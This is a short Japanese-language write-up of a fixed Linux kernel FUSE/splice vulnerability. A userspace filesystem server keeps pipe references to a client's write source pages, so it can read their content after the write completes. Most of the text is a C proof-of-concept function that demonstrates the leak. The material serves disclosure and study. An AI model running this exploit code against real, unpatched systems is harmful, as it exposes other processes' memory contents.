
修复リンク:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0c4bcfdecb1ac0967619ee7ff44871d93c08c909 この脆弱性は主に、spliceの非同期特性により、ユーザーファイルシステムプロセス(サーバー側)でサービス要求プロセス(クライアント側)のメモリの一部を保持できることに起因します。ファイルシステムプロセスはwriteを閉じた後も、writeのソースメモリページへの参照を保持し続けます(ファイルシステムプロセスは読み取り権限のみを持つため、個人的には危害は大きくないと思います:()。 中核的なロジックは以下の通りです。クライアントのページがパイプに置かれた後、まずクライアントにfuseのwrite要求を応答してwriteを終了させます。このときパイプにはwriteのソースページへの参照が残り、writeが終了した後にソースの内容を読み取ります。
void fuse_do_write(fd)
{
fflush(stdout);
puts("-----------------------");
puts("[+] start do_write");
// splice read requset from pipe
puts("[+] create pipe");
int pfd[2], ret;
ret = pipe(pfd);
if (ret < 0)
fatal("pipe");
size_t bufsize = getpagesize() + 0x1000;
ret = splice(fd, NULL, pfd[1], NULL, bufsize, 0);
if (ret < 0)
fatal("splice");
// 通过splice读取头部;
struct fuse_in_header in;
ret = read(pfd[0], &in, sizeof(struct fuse_in_header));
if (ret < 0)
fatal("read head");
fuse_show_req_head(&in);
puts("[+] send reply finish write");//回复write请求
struct fuse_write_out outarg;
outarg.size = 1;
outarg.padding = 0;
printf("unique: %d\n", in.unique);
fuse_send_reply(fd, &outarg, sizeof(outarg), 0, in.unique);
// 阻塞等待子进程write结束
int t = 0;
do
{
fflush(stdout);
puts("[+] input 1 to contine, other to block");
scanf("%d", &t);
puts("[+] ...");
} while (t != 1);
struct fuse_write_in inarg;
struct fuse_bufvec bufv;
ret = read(pfd[0], &inarg, sizeof(struct fuse_write_in));
if (ret < 0)
fatal("read write in");
printf("[+] write in:\n");
printf("\tfh:\t%lld\n", inarg.fh);
printf("\toffset:\t%lld\n", inarg.offset);
printf("\tsize:\t%d\n", inarg.size);
printf("\twrite_flags:\t%d\n", inarg.write_flags);
printf("\tlock_owner:\t%llx\n", inarg.lock_owner);
printf("\tflags:\t%d\n", inarg.flags);
printf("\tpadding:\t%d\n", inarg.padding);
ret = read(pfd[0], &bufv, sizeof(bufv)); //客户端write结束以后再读取page
printf("bufv:\t%s\n", (char *)&bufv);
puts("[+] end do_write");
close(pfd[0]);
close(pfd[1]);
}